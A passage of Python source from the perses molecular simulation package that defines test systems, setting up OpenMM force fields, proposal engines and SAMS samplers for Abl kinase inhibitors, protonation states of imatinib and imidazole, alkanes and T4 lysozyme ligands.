minimize_wrapper(self) class AblAffinityTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for optimizing kinase inhibitor affinity to Abl. TODO: Generalize to standard inhibitor:protein test system and extend to T4 lysozyme small molecules. Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import AblAffinityTestSystem >>> testsystem = AblAffinityestSystem() # Build a system >>> system = testsystem.system_generators['vacuum-inhibitor'].create_system(testsystem.topologies['vacuum-inhibitor']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['vacuum-inhibitor'] """ def __init__(self, **kwargs): super(AblAffinityTestSystem, self).__init__(**kwargs) solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working solvents = ['vacuum'] # DEBUG components = ['inhibitor', 'complex'] # TODO: Add 'ATP:kinase' complex to enable resistance design padding = 9.0*unit.angstrom explicit_solvent_model = 'tip3p' setup_path = 'data/abl-imatinib' thermodynamic_states = dict() temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Construct list of all environments environments = list() for solvent in solvents: for component in components: environment = solvent + '-' + component environments.append(environment) # Read SMILES from CSV file of clinical kinase inhibitors. from pkg_resources import resource_filename smiles_filename = resource_filename('perses', 'data/clinical-kinase-inhibitors.csv') import csv molecules = list() with open(smiles_filename, 'r') as csvfile: csvreader = csv.reader(csvfile, delimiter=',', quotechar='"') for row in csvreader: name = row[0] smiles = row[1] molecules.append(smiles) # Add current molecule molecules.append('Cc1ccc(cc1Nc2nccc(n2)c3cccnc3)NC(=O)c4ccc(cc4)C[NH+]5CCN(CC5)C') self.molecules = molecules # Expand molecules without explicit stereochemistry and make canonical isomeric SMILES. molecules = sanitizeSMILES(self.molecules) molecules = canonicalize_SMILES(molecules) # Create a system generator for desired forcefields from pkg_resources import resource_filename barostat = openmm.MonteCarloBarostat(pressure, temperature) system_generators = dict() system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = { 'nonbondedMethod' : app.CutoffPeriodic, 'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None}, molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield) # NOTE implicit solvent not supported by this SystemGenerator # system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files, # forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2}, # molecules = [Molecule.from_openeye(molecule) for molecule in molecules], # small_molecule_forcefield = small_molecule_forcefield) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : None}, molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield) # Copy system generators for all environments for solvent in solvents: for component in components: environment = solvent + '-' + component system_generators[environment] = system_generators[solvent] # Load topologies and positions for all components from simtk.openmm.app import PDBFile, Modeller topologies = dict() positions = dict() for component in components: pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component)) print(pdb_filename) pdbfile = PDBFile(pdb_filename) topologies[component] = pdbfile.topology positions[component] = pdbfile.positions # Construct positions and topologies for all solvent environments for solvent in solvents: for component in components: environment = solvent + '-' + component if solvent == 'explicit': # Create MODELLER object. modeller = app.Modeller(topologies[component], positions[component]) modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom) topologies[environment] = modeller.getTopology() positions[environment] = modeller.getPositions() else: environment = solvent + '-' + component topologies[environment] = topologies[component] positions[environment] = positions[component] # Set up the proposal engines. from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine proposal_metadata = { } proposal_engines = dict() from perses.utils.openeye import smiles_to_oemol list_of_oemols = [] for smi in molecules: mol = smiles_to_oemol(smi) list_of_oemols.append(mol) for environment in environments: storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name='MOL', storage=storage) # Generate systems systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. thermodynamic_states = dict() for component in components: for solvent in solvents: environment = solvent + '-' + component if solvent == 'explicit': thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure) else: thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for solvent in solvents: for component in components: environment = solvent + '-' + component chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) if solvent == 'explicit': thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure) sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature) sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True thermodynamic_states[environment] = thermodynamic_state # Create test MultiTargetDesign sampler. # TODO: Replace this with inhibitor:kinase and ATP:kinase ratio from perses.samplers.samplers import MultiTargetDesign target_samplers = { sams_samplers['vacuum-complex'] : 1.0, sams_samplers['vacuum-inhibitor'] : -1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) designer.verbose = True # Store things. self.molecules = molecules self.environments = environments self.topologies = topologies self.positions = positions self.system_generators = system_generators self.systems = systems self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer # This system must currently be minimized. minimize_wrapper(self) class AblImatinibProtonationStateTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for sampling protonation states of the Abl:imatinib complex. Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import AblImatinibProtonationStateTestSystem >>> testsystem = AblImatinibProtonationStateTestSystem() # Build a system >>> system = testsystem.system_generators['explicit-inhibitor'].create_system(testsystem.topologies['explicit-inhibitor']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['explicit-inhibitor'] """ def __init__(self, **kwargs): super(AblImatinibProtonationStateTestSystem, self).__init__(**kwargs) solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working components = ['inhibitor', 'complex'] # TODO: Add 'ATP:kinase' complex to enable resistance design #solvents = ['vacuum'] # DEBUG: Just try vacuum for now #components = ['inhibitor'] # DEBUG: Just try inhibitor for now padding = 9.0*unit.angstrom explicit_solvent_model = 'tip3p' setup_path = 'data/constant-pH/abl-imatinib' thermodynamic_states = dict() temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Construct list of all environments environments = list() for solvent in solvents: for component in components: environment = solvent + '-' + component environments.append(environment) # Read mol2 file containing protonation states and extract canonical isomeric SMILES from this. from pkg_resources import resource_filename molecules = list() mol2_filename = resource_filename('perses', os.path.join(setup_path, 'Imatinib-epik-charged.mol2')) ifs = oechem.oemolistream(mol2_filename) mol = oechem.OEMol() while oechem.OEReadMolecule(ifs, mol): smiles = oechem.OEMolToSmiles(mol) molecules.append(smiles) # Read log probabilities log_state_penalties = dict() state_penalties_filename = resource_filename('perses', os.path.join(setup_path, 'Imatinib-state-penalties.out')) for (smiles, log_state_penalty) in zip(molecules, np.fromfile(state_penalties_filename, sep='\n')): log_state_penalties[smiles] = log_state_penalty # Add current molecule smiles = 'Cc1ccc(cc1Nc2nccc(n2)c3cccnc3)NC(=O)c4ccc(cc4)C[NH+]5CCN(CC5)C' molecules.append(smiles) self.molecules = molecules log_state_penalties[smiles] = 100.0 # this should have zero weight # Expand molecules without explicit stereochemistry and make canonical isomeric SMILES. molecules = sanitizeSMILES(self.molecules) # Create a system generator for desired forcefields # TODO: Debug why we can't ue pregenerated molecule ffxml parameters. This may be an openmoltools issue. molecules_xml_filename = resource_filename('perses', os.path.join(setup_path, 'Imatinib-epik-charged.ffxml')) print('Creating system generators...') barostat = MonteCarloBarostat(pressure, temperature) system_generators = dict() system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = { 'nonbondedMethod' : app.CutoffPeriodic, 'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None}, molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield) # NOTE implicit solvent not supported by this SystemGenerator # system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files, # forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2}, # molecules = [Molecule.from_openeye(molecule) for molecule in molecules], # small_molecule_forcefield = small_molecule_forcefield) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : None}, molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield) # Copy system generators for all environments for solvent in solvents: for component in components: environment = solvent + '-' + component system_generators[environment] = system_generators[solvent] # Load topologies and positions for all components from simtk.openmm.app import PDBFile, Modeller topologies = dict() positions = dict() for component in components: pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component)) print(pdb_filename) pdbfile = PDBFile(pdb_filename) topologies[component] = pdbfile.topology positions[component] = pdbfile.positions # Construct positions and topologies for all solvent environments print('Constructing positions and topologies...') for solvent in solvents: for component in components: environment = solvent + '-' + component if solvent == 'explicit': # Create MODELLER object. modeller = app.Modeller(topologies[component], positions[component]) modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom) topologies[environment] = modeller.getTopology() positions[environment] = modeller.getPositions() else: environment = solvent + '-' + component topologies[environment] = topologies[component] positions[environment] = positions[component] natoms = sum( 1 for atom in topologies[environment].atoms() ) print("System '%s' has %d atoms" % (environment, natoms)) # Set up the proposal engines. print('Initializing proposal engines...') from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine proposal_engines = dict() list_of_oemols = [] from perses.utils.openeye import smiles_to_oemol for smiles in molecules: mol = smiles_to_oemol(smiles) list_of_oemols.append(mol) for environment in environments: proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name='MOL') # Generate systems print('Building systems...') systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. print('Defining thermodynamic states...') thermodynamic_states = dict() for component in components: for solvent in solvents: environment = solvent + '-' + component if solvent == 'explicit': thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure) else: thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature) # Create SAMS samplers print('Creating SAMS samplers...') from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for solvent in solvents: for component in components: environment = solvent + '-' + component chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) if solvent == 'explicit': thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure) sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature) sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True thermodynamic_states[environment] = thermodynamic_state # Create a constant-pH sampler from perses.samplers.samplers import ProtonationStateSampler designer = ProtonationStateSampler(complex_sampler=exen_samplers['explicit-complex'], solvent_sampler=sams_samplers['explicit-inhibitor'], log_state_penalties=log_state_penalties, storage=self.storage) designer.verbose = True # Store things. self.molecules = molecules self.environments = environments self.topologies = topologies self.positions = positions self.system_generators = system_generators self.systems = systems self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer # This system must currently be minimized. minimize_wrapper(self) print('AblImatinibProtonationStateTestSystem initialized.') class ImidazoleProtonationStateTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for sampling protonation states of imidazole in water. Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import AblImatinibProtonationStateTestSystem >>> testsystem = AblImatinibProtonationStateTestSystem() # Build a system >>> system = testsystem.system_generators['explicit-inhibitor'].create_system(testsystem.topologies['explicit-inhibitor']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['explicit-inhibitor'] """ def __init__(self, **kwargs): super(ImidazoleProtonationStateTestSystem, self).__init__(**kwargs) solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working components = ['imidazole'] padding = 9.0*unit.angstrom explicit_solvent_model = 'tip3p' setup_path = 'data/constant-pH/imidazole/' thermodynamic_states = dict() temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Construct list of all environments environments = list() for solvent in solvents: for component in components: environment = solvent + '-' + component environments.append(environment) # Read mol2 file containing protonation states and extract canonical isomeric SMILES from this. from pkg_resources import resource_filename molecules = list() mol2_filename = resource_filename('perses', os.path.join(setup_path, 'imidazole/imidazole-epik-charged.mol2')) ifs = oechem.oemolistream(mol2_filename) mol = oechem.OEMol() while oechem.OEReadMolecule(ifs, mol): smiles = oechem.OEMolToSmiles(mol) molecules.append(smiles) # Read log probabilities log_state_penalties = dict() state_penalties_filename = resource_filename('perses', os.path.join(setup_path, 'imidazole/imidazole-state-penalties.out')) for (smiles, log_state_penalty) in zip(molecules, np.fromfile(state_penalties_filename, sep='\n')): log_state_penalties[smiles] = log_state_penalty # Add current molecule smiles = 'C1=CN=CN1' molecules.append(smiles) self.molecules = molecules log_state_penalties[smiles] = 0.0 # Expand molecules without explicit stereochemistry and make canonical isomeric SMILES. molecules = sanitizeSMILES(self.molecules) # Create a system generator for desired forcefields print('Creating system generators...') gaff_xml_filename = resource_filename('perses', 'data/gaff.xml') barostat = openmm.MonteCarloBarostat(pressure, temperature) system_generators = dict() system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None},periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic}, molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield) # NOTE implicit solvent not supported by this SystemGenerator # system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files, # forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2}, # molecules = [Molecule.from_openeye(molecule) for molecule in molecules], # small_molecule_forcefield = small_molecule_forcefield) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = {'implicitSolvent' : None},nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff}, molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield) # Copy system generators for all environments for solvent in solvents: for component in components: environment = solvent + '-' + component system_generators[environment] = system_generators[solvent] # Load topologies and positions for all components from simtk.openmm.app import PDBFile, Modeller topologies = dict() positions = dict() for component in components: pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component)) print(pdb_filename) pdbfile = PDBFile(pdb_filename) topologies[component] = pdbfile.topology positions[component] = pdbfile.positions # Construct positions and topologies for all solvent environments print('Constructing positions and topologies...') for solvent in solvents: for component in components: environment = solvent + '-' + component if solvent == 'explicit': # Create MODELLER object. modeller = app.Modeller(topologies[component], positions[component]) modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom) topologies[environment] = modeller.getTopology() positions[environment] = modeller.getPositions() else: environment = solvent + '-' + component topologies[environment] = topologies[component] positions[environment] = positions[component] natoms = sum( 1 for atom in topologies[environment].atoms() ) print("System '%s' has %d atoms" % (environment, natoms)) # DEBUG: Write initial PDB file outfile = open(environment + '.initial.pdb', 'w') PDBFile.writeFile(topologies[environment], positions[environment], file=outfile) outfile.close() # Set up the proposal engines. print('Initializing proposal engines...') residue_name = 'UNL' # TODO: Figure out residue name automatically from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine proposal_engines = dict() from perses.utils.openeye import smiles_to_oemol list_of_oemols = [] for smiles in molecules: mol = smiles_to_oemol(smiles) list_of_oemols.append(mol) for environment in environments: storage = None if self.storage is not None: storage = NetCDFStorageView(self.storage, envname=environment) proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name=residue_name, storage=storage) # Generate systems print('Building systems...') systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. print('Defining thermodynamic states...') thermodynamic_states = dict() for component in components: for solvent in solvents: environment = solvent + '-' + component if solvent == 'explicit': thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure) else: thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature) # Create SAMS samplers print('Creating SAMS samplers...') from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for solvent in solvents: for component in components: environment = solvent + '-' + component chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) storage = None if self.storage is not None: storage = NetCDFStorageView(self.storage, envname=environment) if solvent == 'explicit': thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure) sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature) sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True thermodynamic_states[environment] = thermodynamic_state # Store things. self.molecules = molecules self.environments = environments self.topologies = topologies self.positions = positions self.system_generators = system_generators self.systems = systems self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = None print('ImidazoleProtonationStateTestSystem initialized.') def minimize_wrapper(testsystem): """ Minimize all structures in test system. TODO ---- Use sampler thermodynamic states instead of testsystem.systems Parameters ---------- testystem : PersesTestSystem The testsystem to minimize. """ for environment in testsystem.environments: print("Minimizing '%s'..." % environment) thermostate = ThermodynamicState(system = testsystem.systems[environment], temperature = 300.0 * unit.kelvin) #minimizer is temperature-independent sampler_state = SamplerState(positions = testsystem.positions[environment]) minimize(thermostate, sampler_state) testsystem.positions[environment] = sampler_state.positions testsystem.mcmc_samplers[environment].sampler_state = sampler_state class SmallMoleculeLibraryTestSystem(PersesTestSystem): """ Create a consistent set of samplers useful for testing SmallMoleculeProposalEngine on alkanes in various solvents. This is useful for testing a variety of components. Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for explicit solvent hydration free energies molecules : list Molecules in library. Currently only SMILES format is supported. Examples -------- >>> from perses.tests.testsystems import AlkanesTestSystem >>> testsystem = AlkanesTestSystem() # Build a system >>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['explicit'] """ def __init__(self, constraints=app.HBonds, premapped_json_dict=None, **kwargs): super(SmallMoleculeLibraryTestSystem, self).__init__(**kwargs) # Expand molecules without explicit stereochemistry and make canonical isomeric SMILES. molecules = sanitizeSMILES(self.molecules) molecules = canonicalize_SMILES(molecules) environments = ['explicit', 'vacuum'] temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Create a system generator for our desired forcefields. from pkg_resources import resource_filename system_generators = dict() gaff_xml_filename = resource_filename('perses', 'data/gaff.xml') barostat = openmm.MonteCarloBarostat(pressure, temperature) system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None, 'constraints': constraints}, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic}, small_molecule_forcefield = small_molecule_forcefield) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff}, small_molecule_forcefield = small_molecule_forcefield) # Create topologies and positions topologies = dict() positions = dict() # # Parametrize and generate residue templates for small molecule set from openmoltools.forcefield_generators import generateForceFieldFromMolecules, generateTopologyFromOEMol, gaffTemplateGenerator from io import StringIO from perses.utils.openeye import smiles_to_oemol, extractPositionsFromOEMol, has_undefined_stereocenters # skipping molecules with undefined stereocenters d_smiles_to_oemol = {} good_molecules = [] for i, smiles in enumerate(molecules): mol = smiles_to_oemol(smiles, f"MOL_{i}") if has_undefined_stereocenters(mol): print(f"MOL_{i} has undefined stereochemistry so leaving out of test") else: d_smiles_to_oemol[smiles] = mol good_molecules.append(smiles) for environment in ['vacuum', 'explicit']: system_generators[environment].add_molecules([Molecule.from_openeye(q) for q in d_smiles_to_oemol.values()]) # Create molecule in vacuum. smiles = good_molecules[0] # getting the first smiles that works print("smiles: ", smiles) molecule = smiles_to_oemol(smiles) topologies['vacuum'] = generateTopologyFromOEMol(molecule) positions['vacuum'] = extractPositionsFromOEMol(molecule) # Create molecule in solvent. modeller = app.Modeller(topologies['vacuum'], positions['vacuum']) modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom) topologies['explicit'] = modeller.getTopology() positions['explicit'] = modeller.getPositions() # Set up the proposal engines. from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine proposal_metadata = { } proposal_engines = dict() list_of_oemols = [] for smiles in good_molecules: mol = smiles_to_oemol(smiles) list_of_oemols.append(mol) for environment in environments: proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name=d_smiles_to_oemol[smiles].GetTitle()) # Generate systems systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. thermodynamic_states = dict() thermodynamic_states['explicit'] = states.ThermodynamicState(system=systems['explicit'], temperature=temperature, pressure=pressure) thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for environment in environments: storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) if environment == 'explicit': sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True # Create test MultiTargetDesign sampler. from perses.samplers.samplers import MultiTargetDesign target_samplers = { sams_samplers['explicit'] : 1.0, sams_samplers['vacuum'] : -1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) # Store things. self.molecules = molecules self.environments = environments self.topologies = topologies self.positions = positions self.system_generators = system_generators self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer class AlkanesTestSystem(SmallMoleculeLibraryTestSystem): """ Library of small alkanes in various solvent environments. """ def __init__(self, **kwargs): self.molecules = ['CCC', 'CCCC', 'CCCCC', 'CCCCCC'] super(AlkanesTestSystem, self).__init__(**kwargs) class KinaseInhibitorsTestSystem(SmallMoleculeLibraryTestSystem): """ Library of clinical kinase inhibitors in various solvent environments. This is often problematic. """ def __init__(self, **kwargs): # Read SMILES from CSV file of clinical kinase inhibitors. from pkg_resources import resource_filename smiles_filename = resource_filename('perses', 'data/clinical-kinase-inhibitors.csv') import csv molecules = list() with open(smiles_filename, 'r') as csvfile: csvreader = csv.reader(csvfile, delimiter=',', quotechar='"') for row in csvreader: name = row[0] smiles = row[1] molecules.append(smiles) self.molecules = molecules # Intialize super(KinaseInhibitorsTestSystem, self).__init__(**kwargs) #TODO fix this test system class T4LysozymeInhibitorsTestSystem(SmallMoleculeLibraryTestSystem): """ Library of T4 lysozyme L99A inhibitors in various solvent environments. """ def read_smiles(self, filename): import csv molecules = list() with open(filename, 'r') as csvfile: csvreader = csv.reader(csvfile, delimiter='\t', quotechar='"') for row in csvreader: name = row[0] smiles = row[1] reference = row[2] molecules.append(smiles) return molecules def __init__(self, **kwargs): # Read SMILES from CSV file of clinical kinase inhibitors. from pkg_resources import resource_filename molecules = list() molecules += self.read_smiles(resource_filename('perses', 'data/L99A-binders.txt')) molecules += self.read_smiles(resource_filename('perses', 'data/L99A-non-binders.txt')) # Filter only molecules with benzene substructure (c1ccccc1) def contains_benzene(smiles): from openeye import oechem mol = oechem.OEGraphMol() oechem.OESmilesToMol(mol, smiles) # create a substructure search object ss = 